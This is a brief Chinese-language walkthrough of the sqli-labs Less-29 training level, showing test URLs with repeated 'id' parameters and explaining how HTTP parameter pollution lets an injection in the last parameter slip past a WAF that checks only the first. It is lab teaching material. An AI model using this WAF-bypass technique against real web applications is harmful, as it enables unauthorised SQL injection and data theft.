sql-labs的Less 29关的正确打开方式:
http://192.168.18.21/sqli-labs-master/Less-29/login.php
输入
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1
发现输出结果为id=1的值
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2
发现输出结果为id=2的值
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2&id=3
发现输出结果为id=3的值
综上,发现mysql中用&连接多个参数,只输出最后一个参数的结果。
输入
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1'&id=2&id=3
页面显示注入被拦截。
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2'&id=3
页面无变化。
http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2&id=3'
页面报数据库错误。
说明第一个参数被waf拦截,中间的参数无影响,最后一个参数被带到数据库中执行。
本关存在php的一个hpp漏洞,当同时传递多个参数时,不同的服务器可能会取得不同的参数值。
可以通过http参数污染绕过waf参数拦截:
如果是$_get(id)获取id,则可以在参数后添加参数,对最后的参数进行注入,即可绕过waf。
也就是说waf只检查第一个参数,而应用程序取最后一个参数代入数据库执行。
参考文章:
https://blog.csdn.net/eatmilkboy/article/details/6761407
Web应用里的HTTP参数污染(HPP)漏洞